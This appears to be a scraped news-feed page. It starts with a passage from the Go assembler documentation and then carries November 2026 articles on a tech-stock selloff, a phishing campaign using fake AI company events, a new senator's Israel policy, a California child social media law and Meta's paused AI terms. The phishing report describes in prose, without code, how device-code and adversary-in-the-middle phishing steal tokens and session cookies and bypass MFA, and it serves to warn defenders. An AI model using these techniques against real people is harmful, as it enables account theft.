  • WRAPPER = 32
    (For TEXT items.) This is a wrapper function and should not count as disabling recover .
  • NEEDCTXT = 64
    (For TEXT items.) This function is a closure so it uses its incoming context register.
  • LOCAL = 128
    This symbol is local to the dynamic shared object.
  • TLSBSS = 256
    (For DATA and GLOBL items.) Put this data in thread local storage.
  • NOFRAME = 512
    (For TEXT items.) Do not insert instructions to allocate a stack frame and save/restore the return address, even if this is not a leaf function. Only valid on functions that declare a frame size of 0.
  • TOPFRAME = 2048
    (For TEXT items.) Function is the outermost frame of the call stack. Traceback should stop at this function.

Special instructions

The PCALIGN pseudo-instruction is used to indicate that the next instruction should be aligned to a specified boundary by padding with no-op instructions.

It is currently supported on arm64, amd64, ppc64, loong64 and riscv64. For example, the start of the MOVD instruction below is aligned to 32 bytes:

PCALIGN $32
MOVD $2, R0

Interacting with Go types and constants

If a package has any .s files, then go build will direct the compiler to emit a special header called go_asm.h , which the .s files can then #include . The file contains symbolic #define constants for the offsets of Go struct fields, the sizes of Go struct types, and most Go const declarations defined in the current package. Go assembly should avoid making assumptions about the layout of Go types and instead use these constants. This improves the readability of assembly code, and keeps it robust to changes in data layout either in the Go type definitions or in the layout rules used by the Go compiler.

Constants are of the form const_ name . For example, given the Go declaration const bufSize = 1024 , assembly code can refer to the value of this constant as const_bufSize .

Field offsets are of the form type _ field . Struct sizes are of the form type __size . For example, consider the following Go definition:

type reader struct {
	buf [bufSize]byte
	r   int
}

Assembly can refer to the size of this struct as reader__size and the offsets of the two fields as reader_buf and reader_r . Hence, if register R1 contains a pointer to a reader , assembly can reference the r field as reader_r(R1) .

If any of these #define names are ambiguous (for example, a struct with a _size field), #include "go_asm.h" will fail with a "redefinition of macro" error.

Runtime Coordination

For garbage collection to run correctly, the runtime must know the location of pointers in all global data and in most stack frames. The Go compiler emits this information when compiling Go source files, but assembly programs must define it explicitly.

A data symbol marked with the NOPTR flag (see above) is treated as containing no pointers to runtime-allocated data. A data symbol with the RODATA flag is allocated in read-only memory and is therefore treated as implicitly marked NOPTR . A data symbol with a total size smaller than a pointer is also treated as implicitly marked NOPTR . It is not possible to define a symbol containing pointers in an assembly source file; such a symbol must be defined in a Go source file instead. Assembly source can still refer to the symbol by name even without DATA and GLOBL directives. A good general rule of thumb is to define all non- RODATA symbols in Go instead of in assembly.

Each function also needs annotations giving the location of live pointers in its arguments, results, and local stack frame. For an assembly function with no pointer results and either no local stack frame or no function calls, the only requirement is to define a Go prototype for the function in a Go source file in the same package. The name of the assembly function must not contain the package name component (for example, function Syscall in package syscall should use the name ·Syscall instead of the equivalent name syscall·Syscall in its TEXT directive). For more complex situations, explicit annotation is needed. These annotations use pseudo-instructions defined in the standard #include file funcdata.h .

If a function has no arguments and no results, the pointer information can be omitted. This is indicated by an argument size annotation of $ n -0 on the TEXT instruction. Otherwise, pointer information must be provided by a Go prototype for the function in a Go source file, even for assembly functions not called directly from Go. (The prototype will also let go vet check the argument references.) At the start of the function, the arguments are assumed to be initialized but the results are assumed uninitialized. If the results will hold live pointers during a call instruction, the function should start by zeroing the results and then executing the pseudo-instruction GO_RESULTS_INITIALIZED . This instruction records that the results are now initialized and should be scanned during stack movement and garbage collection. It is typically easier to arrange that assembly functions do not return pointers or do not contain call instructions; no assembly functions in the standard library use GO_RESULTS_INITIALIZED .

If a function has no local stack frame, the pointer information can be omitted. This is indicated by a local frame size annotation of $0- n on the TEXT instruction. The pointer information can also be omitted if the function contains no call instructions. Otherwise, the local stack frame must not contain pointers, and the assembly must confirm this fact by executing the pseudo-instruction NO_LOCAL_POINTERS . Because stack resizing is implemented by moving the stack, the stack pointer may change during any function call: even pointers to stack data must not be kept in local variables.

Assembly functions should always be given Go prototypes, both to provide pointer information for the arguments and results and to let go vet check that the offsets being used to access them are correct.

Architecture-specific details

It is impractical to list all the instructions and other details for each machine. To see what instructions are defined for a given machine, say ARM, look in the source for the obj support library for that architecture, located in the directory src/cmd/internal/obj/arm . In that directory is a file a.out.go ; it contains a long list of constants starting with A , like this:

const (
	AAND = obj.ABaseARM + obj.A_ARCHSPECIFIC + iota
	AEOR
	ASUB
	ARSB
	AADD
	...

This is the list of instructions and their spellings as known to the assembler and linker for that architecture. Each instruction begins with an initial capital A in this list, so AAND represents the bitwise and instruction, AND (without the leading A ), and is written in assembly source as AND . The enumeration is mostly in alphabetical order. (The architecture-independent AXXX , defined in the cmd/internal/obj package, represents an invalid instruction). The sequence of the A names has nothing to do with the actual encoding of the machine instructions. The cmd/internal/obj package takes care of that detail.

The instructions for both the 386 and AMD64 architectures are listed in cmd/internal/obj/x86/a.out.go .

The architectures share syntax for common addressing modes such as (R1) (register indirect), 4(R1) (register indirect with offset), and $foo(SB) (absolute address). The assembler also supports some (not necessarily all) addressing modes specific to each architecture. The sections below list these.

One detail evident in the examples from the previous sections is that data in the instructions flows from left to right: MOVQ $0, CX clears CX . This rule applies even on architectures where the conventional notation uses the opposite direction.

Here follow some descriptions of key Go-specific details for the supported architectures.

32-bit Intel 386

The runtime pointer to the g structure is maintained through the value of an otherwise unused (as far as Go is concerned) register in the MMU. In the runtime package, assembly code can include go_tls.h , which defines an OS- and architecture-dependent macro get_tls for accessing this register. The get_tls macro takes one argument, which is the register to load the g pointer into.

For example, the sequence to load g and m using CX looks like this:

#include "go_tls.h"
#include "go_asm.h"
...
get_tls(CX)
MOVL	g(CX), AX     // Move g into AX.
MOVL	g_m(AX), BX   // Move g.m into BX.

The get_tls macro is also defined on amd64 .

Addressing modes:

  • (DI)(BX*2) : The location at address DI plus BX*2 .
  • 64(DI)(BX*2) : The location at address DI plus BX*2 plus 64. These modes accept only 1, 2, 4, and 8 as scale factors.

When using the compiler and assembler's -dynlink or -shared modes, any load or store of a fixed memory location such as a global variable must be assumed to overwrite CX . Therefore, to be safe for use with these modes, assembly sources should typically avoid CX except between memory references.

64-bit Intel 386 (a.k.a. amd64)

The two architectures behave largely the same at the assembler level. Assembly code to access the m and g pointers on the 64-bit version is the same as on the 32-bit 386, except it uses MOVQ rather than MOVL :

get_tls(CX)
MOVQ	g(CX), AX     // Move g into AX.
MOVQ	g_m(AX), BX   // Move g.m into BX.

Register BP is callee-save. The assembler automatically inserts BP save/restore when frame size is larger than zero. Using BP as a general purpose register is allowed, however it can interfere with sampling-based profiling.

ARM

The registers R10 and R11 are reserved by the compiler and linker.

R10 points to the g (goroutine) structure. Within assembler source code, this pointer must be referred to as g ; the name R10 is not recognized.

To make it easier for people and compilers to write assembly, the ARM linker allows general addressing forms and pseudo-operations like DIV or MOD that may not be expressible using a single hardware instruction. It implements these forms as multiple instructions, often using the R11 register to hold temporary values. Hand-written assembly can use R11 , but doing so requires being sure that the linker is not also using it to implement any of the other instructions in the function.

When defining a TEXT , specifying frame size $-4 tells the linker that this is a leaf function that does not need to save LR on entry.

The name SP always refers to the virtual stack pointer described earlier. For the hardware register, use R13 .

Condition code syntax is to append a period and the one- or two-letter code to the instruction, as in MOVW.EQ . Multiple codes may be appended: MOVM.IA.W . The order of the code modifiers is irrelevant.

Addressing modes:

  • R0->16
    R0>>16
    R0<<16
    R0@>16 : For << , left shift R0 by 16 bits. The other codes are -> (arithmetic right shift), >> (logical right shift), and @> (rotate right).
  • R0->R1
    R0>>R1
    R0<<R1
    R0@>R1 : For << , left shift R0 by the count in R1 . The other codes are -> (arithmetic right shift), >> (logical right shift), and @> (rotate right).
  • [R0,g,R12-R15] : For multi-register instructions, the set comprising R0 , g , and R12 through R15 inclusive.
  • (R5, R6) : Destination register pair.

ARM64

R18 is the "platform register", reserved on the Apple platform. To prevent accidental misuse, the register is named R18_PLATFORM . R27 and R28 are reserved by the compiler and linker. R29 is the frame pointer. R30 is the link register.

Instruction modifiers are appended to the instruction following a period. The only modifiers are P (postincrement) and W (preincrement): MOVW.P , MOVW.W

Addressing modes:

  • R0->16
    R0>>16
    R0<<16
    R0@>16 : These are the same as on the 32-bit ARM.
  • $(8<<12) : Left shift the immediate value 8 by 12 bits.
  • 8(R0) : Add the value of R0 and 8 .
  • (R2)(R0) : The location at R0 plus R2 .
  • R0.UXTB
    R0.UXTB<<imm : UXTB : extract an 8-bit value from the low-order bits of R0 and zero-extend it to the size of R0 . R0.UXTB<<imm : left shift the result of R0.UXTB by imm bits. The imm value can be 0, 1, 2, 3, or 4. The other extensions include UXTH (16-bit), UXTW (32-bit), and UXTX (64-bit).
  • R0.SXTB
    R0.SXTB<<imm : SXTB : extract an 8-bit value from the low-order bits of R0 and sign-extend it to the size of R0 . R0.SXTB<<imm : left shift the result of R0.SXTB by imm bits. The imm value can be 0, 1, 2, 3, or 4. The other extensions include SXTH (16-bit), SXTW (32-bit), and SXTX (64-bit).
  • (R5, R6) : Register pair for LDAXP / LDP / LDXP / STLXP / STP / STP .

Reference: Go ARM64 Assembly Instructions Reference Manual

PPC64

This assembler is used by GOARCH values ppc64 and ppc64le.

Reference: Go PPC64 Assembly Instructions Reference Manual

IBM z/Architecture, a.k.a. s390x

The registers R10 and R11 are reserved. The assembler uses them to hold temporary values when assembling some instructions.

R13 points to the g (goroutine) structure. This register must be referred to as g ; the name R13 is not recognized.

R15 points to the stack frame and should typically only be accessed using the virtual registers SP and FP .

Load- and store-multiple instructions operate on a range of registers. The range of registers is specified by a start register and an end register. For example, LMG (R9), R5, R7 would load R5 , R6 and R7 with the 64-bit values at 0(R9) , 8(R9) and 16(R9) respectively.

Storage-and-storage instructions such as MVC and XC are written with the length as the first argument. For example, XC $8, (R9), (R9) would clear eight bytes at the address specified in R9 .

If a vector instruction takes a length or an index as an argument then it will be the first argument. For example, VLEIF $1, $16, V2 will load the value sixteen into index one of V2 . Care should be taken when using vector instructions to ensure that they are available at runtime. To use vector instructions a machine must have both the vector facility (bit 129 in the facility list) and kernel support. Without kernel support a vector instruction will have no effect (it will be equivalent to a NOP instruction).

Addressing modes:

  • (R5)(R6*1) : The location at R5 plus R6 . It is a scaled mode as on the x86, but the only scale allowed is 1 .

MIPS, MIPS64

General purpose registers are named R0 through R31 , floating point registers are F0 through F31 .

R30 is reserved to point to g . R23 is used as a temporary register.

In a TEXT directive, the frame size $-4 for MIPS or $-8 for MIPS64 instructs the linker not to save LR .

SP refers to the virtual stack pointer. For the hardware register, use R29 .

Addressing modes:

  • 16(R1) : The location at R1 plus 16.
  • (R1) : Alias for 0(R1) .

The value of GOMIPS environment variable ( hardfloat or softfloat ) is made available to assembly code by predefining either GOMIPS_hardfloat or GOMIPS_softfloat .

The value of GOMIPS64 environment variable ( hardfloat or softfloat ) is made available to assembly code by predefining either GOMIPS64_hardfloat or GOMIPS64_softfloat .

RISCV64

Reference: Go RISCV64 Assembly Instructions Reference Manual

Unsupported opcodes

The assemblers are designed to support the compiler so not all hardware instructions are defined for all architectures: if the compiler doesn't generate it, it might not be there. If you need to use a missing instruction, there are two ways to proceed. One is to update the assembler to support that instruction, which is straightforward but only worthwhile if it's likely the instruction will be used again. Instead, for simple one-off cases, it's possible to use the BYTE and WORD directives to lay down explicit data into the instruction stream within a TEXT . Here's how the 386 runtime defines the 64-bit atomic load function.

// uint64 atomicload64(uint64 volatile* addr);
// so actually
// void atomicload64(uint64 *res, uint64 volatile *addr);
TEXT runtime·atomicload64(SB), NOSPLIT, $0-12
	MOVL	ptr+0(FP), AX
	TESTL	$7, AX
	JZ	2(PC)
	MOVL	0, AX // crash with nil ptr deref
	LEAL	ret_lo+4(FP), BX
	// MOVQ (%EAX), %MM0
	BYTE $0x0f; BYTE $0x6f; BYTE $0x00
	// MOVQ %MM0, 0(%EBX)
	BYTE $0x0f; BYTE $0x7f; BYTE $0x03
	// EMMS
	BYTE $0x0F; BYTE $0x77
	RET

$2.5T has been wiped from US stocks

Hacker News
www.reddit.com
2026-11-05 16:39:26
Comments...
Original Article

You've been blocked by network security.

To continue, log in to your Reddit account or use your developer token

If you think you've been blocked by mistake, file a ticket below and we'll look into it.

$2.5T has been wiped from US stocks

Hacker News
finlaws.substack.com
2026-11-05 16:39:26
Comments...
Original Article

The Nasdaq wiped out roughly $2.5 trillion in market cap on Thursday, officially pushing the index into correction territory. If you look at the heatmap above, though, the companies actually signing the massive AI capex checks barely moved. GOOGL is down 2.29%, MSFT is down 3.25%, and AMZN is down 3.55%. Meanwhile, the vendors selling them the hardware, memory, and power gear got crushed: AMD (-14.83%), MU (-14.18%), DELL (-12.88%), and GE Vernova (GEV) on the grid turbine side is down 11.88%.

That divergence makes a lot of sense if you looked at the Q3 cash flow statements last week. Alphabet posted -$9.1B in free cash flow for the quarter, and Amazon’s trailing 12-month FCF is down at -$42.4B while guiding toward $220B in annual capex. The hyperscalers have massive core ad and cloud monopolies that can absorb a capex slowdown or a pivot. Their suppliers don’t. Names like NVDA (-7.53%), AVGO (-8.07%), and semi-cap equipment makers like LRCX (-12.44%) and AMAT (-10.31%) are priced as if gigawatt data center buildouts will compound forever without friction.

Tuesday’s midterm elections basically introduced that friction. With Democrats flipping governor seats in Texas, Georgia, and Ohio (plus taking Congress), the market is starting to price in permitting delays. Those three states are where a huge chunk of near-term US gigawatt capacity is supposed to go, and candidates openly ran on pausing data center approvals because residential electricity rates are spiking. You don’t need to take delivery of GPUs or server racks from AMD and Dell in Q1 if your 500MW interconnect permit gets stuck at the state utility board.

At the same time, the consumer side of semi demand is getting squeezed by the exact same AI buildout. QCOM dropped 12.65% today after handset chip sales fell 26%, right as Counterpoint reported global smartphone shipments fell 20% to a 14-year low. A big reason for that is Micron and SK Hynix shifting wafer capacity to HBM for AI servers, which drove up standard DRAM/NAND prices and forced phone OEMs to raise retail prices. Consumers aren’t paying up for “AI phones,” so unit volumes are tanking.

When the buyers have negative free cash flow and local grids start blocking new power hookups, the hardware vendors take the hit first. That’s pretty much what the board is showing today.

Discussion about this post

Ready for more?

Fake OpenAI, SpaceX events used to steal Microsoft, Google accounts

Bleeping Computer
www.bleepingcomputer.com
2026-11-05 16:30:30
Hackers are using fake OpenAI, SpaceX, and Anthropic event invitations to lure employees into phishing attacks, using two different phishing-as-a-service platforms to steal Microsoft and Google account credentials and authentication sessions. [...]...
Original Article

Phishing hook

Hackers are using fake OpenAI, SpaceX, and Anthropic event invitations to lure employees into phishing attacks, using two different phishing-as-a-service platforms to steal Microsoft and Google account credentials and authentication sessions.

According to a new report from Push Security , the attackers use convincing event registration pages offering free access to premium AI services and other rewards to trick victims into signing in with their corporate accounts.

What makes the attacks interesting is that the same phishing pages integrate two separate phishing-as-a-service (PhaaS) platforms, Kali365 and VoidProxy, to target Microsoft and Google accounts using different authentication attacks.

image

Kali365 conducts Microsoft device code phishing attacks, while VoidProxy acts as an adversary-in-the-middle (AiTM) reverse proxy to intercept Google sign-ins and steal authentication session cookies.

The Microsoft attack also uses VoidProxy as a second stage, allowing attackers to capture credentials and session cookies after obtaining authentication tokens through Kali365.

Push Security says it detected and blocked visits to the malicious event registration pages in late October 2026.

The campaign comes after a similar campaign documented by ANY.RUN in July, when attackers abused legitimate Zoom event pages to promote fake Meta, OpenAI, and Anthropic events that led to device code and AiTM phishing attacks.

Cofense also recently reported on phishing emails impersonating Anthropic event invitations that were distributed through GoTo Webinar's email infrastructure and redirected recipients through multiple websites to fake registration pages.

Fake AI events lead to account phishing

While it is unclear how the attackers initially distribute the phishing links, Push Security found that they redirect victims to a malicious event registration page using links from trusted services, including Google and Zapier URL shorteners.

Invitations from earlier versions of the campaign were also distributed through GoTo Webinar's email systems or legitimate Zoom event pages.

Push Security says the attackers use two custom phishing kits, tracked as ZoomMock and MSDRoot, to create fake event pages that then direct victims to the Kali365 and VoidProxy phishing services.

The researchers believe the same threat actors operate both kits, as they use shared infrastructure and the same targeting.

The campaign impersonates events hosted by OpenAI, SpaceX, and Anthropic, with registration pages designed to resemble legitimate event websites.

One phishing page advertises an OpenAI event titled "ChatGPT for Social & Digital Marketing Teams" that promises three months of ChatGPT Pro to participants.

OpenAI phishing page
OpenAI phishing page
Source: BleepingComputer

Another promotes a private SpaceX event on November 12, offering registrants either three months of Grok Heavy or a "SpaceX share."

The researchers also found a phishing page impersonating an Anthropic event at AWS re:Invent 2026 that was already taken down.

The fake registration pages tell visitors they must sign in with their work accounts to register and claim the advertised rewards.

Before displaying the fake registration pages, the websites show a Cloudflare CAPTCHA to "Confirm you're not a robot." This prevents automated security platforms from scanning the phishing site.

Once visitors reach the event registration page, they see two options: "Continue with Microsoft" and "Continue with Google."

When victims select the Microsoft option, the phishing page contacts the Kali365 platform to generate a Microsoft device authentication code.

Microsoft device code authentication form on phishing site
Microsoft device code authentication form on phishing site
Source: BleepingComputer

A device code phishing attack occurs when an attacker abuses the legitimate OAuth 2.0 device authorization grant flow to obtain authentication tokens for the victim's Microsoft Entra account.

This can then be used to access the user's resources and connected SSO applications, such as Microsoft 365, Salesforce, Google Workspace, Dropbox, Adobe, SAP, Slack, Zendesk, Atlassian, and many others.

Device code phishing attacks have been used in the past for data theft and cyberespionage attacks .

The visitor is instructed to copy the code and enter it on Microsoft's legitimate device login website, where they authenticate and approve the request.

This allows the Kali365 phishing platform to steal Microsoft authentication tokens without requiring the victim to disclose their password directly.

After the device code authentication succeeds, the page redirects the victim to a VoidProxy Microsoft login page, where attackers can also capture the victim's password and session cookie.

When victims select the Google authentication option, the phishing page instead opens a pop-up containing a Google login page from the VoidProxy PhaaS.

The platform operates as an adversary-in-the-middle (AiTM) platform that sits between the victim's browser and Google's login page, proxies the login forms, and steals credentials, MFA responses, and session cookies.

Both the Kali365 and VoidProxy platforms let attackers bypass multifactor authentication by capturing an already authenticated session or, in the case of device code authentication, bypassing MFA entirely.

To protect against these attacks, employees should avoid entering Microsoft device authentication codes provided by unfamiliar websites and be cautious of event invitations that require signing in with corporate accounts to claim rewards.

Organizations can also restrict device code authentication where it is not needed and use phishing-resistant MFA, such as FIDO2 security keys, to help prevent session hijacking.

article image

Uncover email threats your existing defenses may miss.

Adaptive Security's AI agents analyze email intent, context, and behavior to uncover phishing, business email compromise, and invoice fraud.

See what's getting through with a 14-day read-only scan of Microsoft 365 or Google Workspace, with no MX changes.

Start your free email security scan.

Abdul El-Sayed Won His Senate Seat With a Mandate on Palestine. Can He Deliver?

Intercept
theintercept.com
2026-11-05 16:28:20
The new senator from Michigan will face an uphill battle if he wants to transform the U.S. relationship with Israel. But he has options — and public pressure. The post Abdul El-Sayed Won His Senate Seat With a Mandate on Palestine. Can He Deliver? appeared first on The Intercept....
Original Article

One senator out of the 100 who will fill the upper chamber of the 120th Congress was elected to his seat on a loud campaign promise to end U.S. complicity in Israel’s genocide in Gaza.

Abdul El-Sayed will walk into a newfound Democratic majority after animating his base with pro-Palestine pledges seldom heard from a U.S. Senate contender. As a first-term senator, he’ll lack seniority on the committees to which he’s assigned. And although his critiques of the U.S. relationship with Israel have proven overwhelmingly popular in public opinion surveys and among voters at the polls, the same can’t be said for most of his soon-to-be colleagues.

“It’s going to be a fight,” said Beth Miller, political advocacy director for Jewish Voice for Peace Action, which supported El-Sayed’s campaign. “The Democratic establishment, when it’s in control, has not taken measures in support of Palestine in the past. And so this is about making sure that now they finally start listening to what the overwhelming majority of their bases say.”

El-Sayed’s run marked the first time the Jewish-led, anti-Zionist group backed a Senate campaign . Pro-Palestine lobbying groups like JVP Action have been pushing for legislation to block weapons transfers to Israel for years , aligning themselves with a small but growing number of left-leaning House members. The group helped author the Block the Bombs Act, introduced by Delia Ramirez, D-Ill., which netted 82 co-sponsors and became a pro-Palestine litmus test in some Democratic primary campaigns.

Building consensus around a single bill in the Senate is harder, but the upper chamber offers stronger levers to pull. Senators can force votes called Joint Resolutions of Disapproval that would block foreign security assistance, such as weapons sales to Israel. Sen. Bernie Sanders, I-Vt., has exercised this option repeatedly throughout the genocide in Gaza to try and block the sale of certain bombs, firearms, and other military equipment to Israel. While his resolutions failed in the Republican-controlled Senate , the most recent ones drew support from wide majorities of Democrats — soon to be the party in power.

Yet with the looming threat that Democrats might actually be able to pass legislation, El-Sayed would find himself under pressure from the likely Senate majority leader, Chuck Schumer, who has long maintained the support of the pro-Israel lobby , to fall in line with party priorities.

“The question is, ‘Who does he want to be?’ Does he want to be someone like Bernie, who is willing to sometimes stand up to leadership?” said Hamid Bendaas, communications director for the Institute for Middle East Understanding Policy Project, which also backed El-Sayed’s run. “It’s hard to do that as a freshman and someone who’s just getting in there.”

Bendaas expressed confidence that the Michigan senator would be a champion of pro-Palestine legislation, but he noted that El-Sayed would have to balance his priorities, especially after running a campaign focused on economic populism and providing universal healthcare through Medicare for All.

Shifting Winds

There is a tension revealed by the dilemma facing Sen.-elect El-Sayed: While a growing share of Americans — and an overwhelming majority of Democrats — disapprove of the U.S. spending billions of dollars on aid to Israel, voters’ clear No. 1 concern in the 2026 election cycle was the cost of living and their own economic precarity.

Some pundits have encouraged pro-Palestine candidates like El-Sayed to put their anti-genocide principles aside, arguing that more moderate Democrats performed better on Tuesday night. They compare El-Sayed’s 7-percentage-point defeat of Mike Rogers to James Talarico’s 12-point win over Ken Paxton in Texas — and some have already asked Talarico to defy his new colleague.

But on the campaign trail, El-Sayed often connected the issues of a high cost of living and outsized U.S. spending on aid to Israel. “We ought to be spending our money here, to build schools and provide healthcare and child care here, rather than sending our money abroad to a foreign government that’s done terrible things with our money,” he said in a September interview with Bloomberg TV. El-Sayed’s approach made him the target of nearly $40 million in outside spending from the super PAC for the American Israel Public Affairs Committee , which supported widespread anti-Arab and Islamophobic attacks and accusations of antisemitism in an attempt to keep a vocal critic of Israel out of the Senate.

“None of it mattered,” said Yousef Munayyer , a senior fellow at the Arab Center Washington D.C. who likened the gravity of El-Sayed’s win to that of New York City Mayor Zohran Mamdani. “And this is not the Commie Corridor. This is a swing state. A lot of taboos here have been shattered, and people are going to learn from this and be emboldened now.”

“This is not the Commie Corridor. This is a swing state. A lot of taboos here have been shattered, and people are going to learn from this and be emboldened now.”

In addition to bringing joint resolutions to block future weapons transfers — like the Trump administration’s planned sale of $2.8 billion in 2,000-pound bombs to Israel — El-Sayed could introduce resolutions citing the Foreign Assistance Act; Sen. Chris Van Hollen, D-Md., used one to demand a State Department report on Israeli detention of Palestinian children and Israeli military and settler killings of American citizens in the West Bank. He would also be able to introduce amendments to the Pentagon’s annual spending bill that carves out billions of dollars in joint U.S.–Israel weapons research. (The Senate is currently sitting on this year’s $1.15 trillion National Defense Authorization Act, which would even more deeply enmesh Israeli technology within the Pentagon’s programs and supply chain.)

Munayyer, the former head of the U.S. Campaign for Palestinian Rights, said that despite the uncertainty over whether moderate Democrats will be willing to link arms with progressives next session, El-Sayed’s win creates an environment ripe for accountability over Israel.

“You have a climate now where there’s going to be a lot less intimidation felt by people who had previously been hesitant to speak out on these issues because they thought it was political suicide,” he said.

Even Republicans are beginning to feel the shifting winds. On the morning of Election Day, President Donald Trump made a surprise announcement on Fox News that the U.S. would halt the annual $4 billion in military aid to Israel. The move would only cut off one path for Israel to get weapons from the U.S. — still allowing direct weapons sales to Israel from U.S. companies and weapons development and sharing with the Pentagon — and Trump said it was made in agreement with Israeli Prime Minister Benjamin Netanyahu, who had been previewing it for months . Tactically, Trump said the goal was to take a “talking point” away from Democrats. He cited El-Sayed by name.

While ballots were still being counted on Wednesday, Vice President JD Vance, an expected 2028 presidential contender, posted on X an early post-mortem of the massive GOP losses across the country. He wrote that the party could bring back “voters who had abandoned us” if they “End the war” in Iran and “Change our relationship to Israel.”

Such recognition from the Trump White House is new territory for U.S. politics, Munayyer said.

“We are about to witness, in my view, something we have never seen before in American politics,” Munayyer said. “A robust debate in the presidential primary campaigns in both parties, where the question of the U.S.-Israel relationship is going to come up time and again. That’s never happened before, and it’s gonna be seismic.”

“We are about to witness, in my view, something we have never seen before in American politics.”

The question is whether Democrats will stay on top of the wave. If Schumer, a staunch supporter of Israel, remains in charge of the Senate majority, he’ll have power over appointments to key committees — giving him the opportunity to curb the influence of a figure like El-Sayed.

“I don’t think that Democrats want to have a messy fight about this stuff when the base is largely in agreement on it,” Munayyer said. But while Senate Democrats have evolved on the issue of Israel and Palestine — even Sanders expressed far weaker critiques of the Israeli state a few years ago — it’s one thing to be the dissenting party when you’re in the minority. It’s another to wield serious power.

Constant Pressure

El-Sayed is perhaps the most vocal supporter of Palestinian rights of any U.S. senator elected since James Abourezk of South Dakota, who in the late 1970s became the first Arab American to serve in the Senate. Abourezk frequently advocated for a Palestinian state and was an early critic of the pro-Israel lobby . After his time in Congress, he founded the American-Arab Anti-Discrimination Committee.

El-Sayed, now the first Muslim elected to the U.S. Senate, frequently referred to Israel on the campaign trail as an “ethnostate” and said he opposes any nation that organizes its government by ethnicity and religion. In an appearance on ABC News, El-Sayed argued Israel was not a U.S. ally. Two days before the election, he spent a large portion of his sit-down with “ 60 Minutes ” calling for Palestinians’ right of self-determination and repudiated the question of whether Israel had a right to exist. In his victory speech, he criticized attempts by pro-Israel critics to conflate advocacy for Palestinians rights as “hate.”

Even so, in the lead-up to the general election, El-Sayed started being subjected to pressure from some on the pro-Palestine left . Critics chastised his decision to stump with former Vice President Kamala Harris over her complicity in the Biden administration’s support for the genocide in Gaza. Similar ire was directed at his partnership with former President Barack Obama, who has yet to name or condemn the genocide and governed over U.S. wars in the Middle East that saw the United States kill thousands of civilians.

Advocates for Palestinian rights, however, told The Intercept they recognized the utility in El-Sayed’s campaigning with the highest-profile members of the Democratic Party, and they counted it as a success that he earned their support. But they said they were not pinning all their hopes on a single individual.

On top of all the other calcified interests and long-standing political biases that shape the U.S. Senate, there’s the influence of the sprawling U.S. weapons industry, with manufacturing giants like Lockheed Martin and Boeing lobbying for their interests and showering politicians in campaign cash . That industry wants to keep profiting off the genocide in Gaza, said JVP Action’s Miller, and El-Sayed alone is not enough to stop that.

“This is not gonna be that one man comes into the Senate and changes everything,” she said. “This is that one person has been elected with a mandate that has demonstrated where the masses of people are at on this issue, and now we have to keep fighting harder than ever before.”

Google, Meta and TikTok sue California to block law protecting children from addiction risk

Guardian
www.theguardian.com
2026-11-05 16:10:21
Law bans social media platforms from providing minors features such as autoplay that lead to compulsive use Google, Meta and TikTok have sued California to block enforcement of ⁠a new state law intended ⁠to limit the risk ​of addicting children under 16 to social media platforms. The law, known as A...
Original Article

Google, Meta and TikTok have sued California to block enforcement of ⁠a new state law intended ⁠to limit the risk ​of addicting children under 16 to social media platforms.

The law, known as Assembly Bill 1709, prohibits such platforms from offering underage children “psychologically exploitative features” that could lead to compulsive use, such as providing ⁠personal recommendations and sending videos through autoplay features. It also requires the deletion of children’s accounts with those features.

In separate lawsuits on Wednesday, Google, Meta and TikTok said the law wrongly compels them to honor California’s preferred means of ⁠presenting content to children and substitutes the state’s judgment for that of parents.

They said the law violates the US constitution’s first amendment free speech ​protections, as well as Section 230 of the federal Communications Decency ‌Act, which broadly shields online platforms from ‌liability over user content.

The office of Rob Bonta, the California attorney general, who enforces the state’s laws and is the only defendant, said ‌on Thursday it was reviewing the lawsuits. “Our office is committed to defending California’s commonsense laws to protect kids online,” it added.

Google owns YouTube and is a unit of Alphabet , while Meta owns Facebook and Instagram. TikTok is a unit of China’s ByteDance.

Governor Gavin Newsom signed the law on 10 September, saying children’s safety should be central to any discussion about technology, and California “will not stand by while unregulated technology puts our children at risk”.

The law takes effect on 1 January 2027, unless a judge voids it or puts ‌it on hold.

“Parents are best positioned to make the right decisions for their families,” Jose Castaneda, a Google spokesperson, said on Thursday. “Overly broad laws like this actually break the systems we’ve built to help kids find high-quality, age-appropriate videos.”

In its ​lawsuit, Meta said California cannot override its editorial judgments about how to curate and display billions of posts, while leaving children free to spend unlimited time on other online platforms that offer similar services.

TikTok, meanwhile, said protected speech “cannot be suppressed solely to protect the young from ideas or images that a legislative body thinks unsuitable”.

Other critics also accused California of overreaching. The Electronic Frontier Foundation, a non-profit digital rights advocacy group, called the law “a massive ⁠privacy and free speech nightmare”.

Many US states regulate children’s access to social media. Countries ​around the world have similar restrictions, including a ​ban in Australia on social media for children ​under 16.

skip past newsletter promotion

In August, Meta agreed to pay up to $18bn and limit teenagers’ use of Facebook and Instagram ​under agreements with nearly all US ‌states, which accused it ​of violating privacy and consumer protection ​laws.

In the aftermath of whistleblower revelations that showed Meta was aware of the way its platforms harmed teens, Meta launched a suite of teen safety tools aimed at giving parents more oversight. The company has previously tapped influencers to promote these features around the world as an alternative to social media bans or limitations similar to Australia’s.

Google has come under fire more recently over the use of its AI tools on school devices. On Thursday, parents in California filed a lawsuit against the company alleging their teen daughter made plans to end her life after multiple interactions with AI mode on Google Search. She had access to the AI mode through her school-issued Google Chromebook. The company was also recently forced to backtrack on its decision to cut off a school or classroom’s access to Google Search if teachers or administrators decided not to enable Google’s other AI features for schools.

Google filed its lawsuit in federal court in San Jose, California. Meta sued in San Francisco, and TikTok sued in Los Angeles.

The companies and Snapchat parent Snap still face thousands of lawsuits by individuals, school districts, municipalities and other government entities claiming they sought to addict children and caused a mental health crisis that resulted in such harms as anxiety, depression and suicide.

Everyone Everywhere Hated Meta’s New AI Training Terms. Now, They’re On Pause

403 Media
www.404media.co
2026-11-05 16:01:55
Back to the drawing board!...
Original Article

Following widespread backlash, Meta announced earlier this week it’s putting a planned update of its commercial terms of use on pause. The terms would have required business accounts to allow Meta to “use any content from such domains, web pages, or URLs to provide, develop, improve, research, train, and maintain the integrity of” Meta’s products.

The new terms were initially set to go into effect on October 30 , but after outcry from journalists and users who didn’t want Meta reaching far beyond Instagram and Facebook and into their websites to suck up their work as training data for its generative AI products, Meta announced it was pushing the change to November 20. Now, it’s on hold entirely.

“We recently shared that we were updating the Meta Commercial Terms, Product Catalog Terms, Self-Serve Ad Terms, and Ad Creative Generative AI Terms,” Meta says on the page where the commercial terms announcement used to be. “These updates are now paused and will not take effect on November 20, 2026. We are continuing to consult with stakeholders and will provide a further update when we have more to share. In the meantime, our existing terms remain in effect.”

If You're In the UK or EU, Here's How to Object to Meta's AI Training

